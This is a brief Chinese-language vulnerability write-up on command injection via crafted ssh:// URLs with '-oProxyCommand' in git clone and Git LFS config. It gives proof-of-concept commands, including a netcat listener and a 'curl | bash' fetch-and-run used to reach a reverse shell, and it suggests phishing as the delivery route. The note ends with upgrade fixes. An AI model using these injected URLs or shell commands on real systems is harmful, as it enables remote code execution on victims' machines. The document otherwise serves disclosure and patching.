Git命令造成的反彈shell
漏洞描述:
Git LFS可以.lfsconfig使用LFS由存儲庫中的文件配置(部分),並且可以將Git LFS指向ssh://。
[lfs] url = ssh://-oProxyCommand= some-command
當使用這樣的.lfsconfig文件克隆存儲庫時,使用LFS插件的Git將嘗試調用ssh以從主機獲取LFS對象 -oProxyCommand=some-command。然而,SSH會將該主機名解釋為一個-o選項,並隨后嘗試調用some-command以建立連接。
這樣的話,可以通過克隆存儲庫的Git LFS客戶端的精心設計的存儲庫來執行任意命令。
通過在新項目中導入存儲庫,ssh://可以在GitLab主機上執行URL服務器端代碼執行。
利用方式:
遠程釣魚,社工
惡意的攻擊者可以向受害者發送一條精心構造的ssh:// URL鏈接,當受害者訪問這條URL則會觸發漏洞導致執行惡意代碼。
漏洞證明:
反彈計算器
git clone ssh://-oProxyCommand=gnome-calculator/wat
進一步利用
本機測試環境
先建立監聽
nc -vlp 9999
利用git clone 獲取鏡像庫
git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx
命令被成功執行
建立連接之后,嘗試執行反彈shell命令,同時監聽新的端口,完成反彈shell。
漏洞修復建議(或緩解措施):
Git:升級到Git v2.14.1版本
Apache Subversion:升級到Subversion 1.8.19、Subversion 1.9.7版本
Mercurial:升級到Mercurial 4.3 and 4.2.3.版本
參考文章:
https://help.aliyun.com/knowledge_detail/57887.html
http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67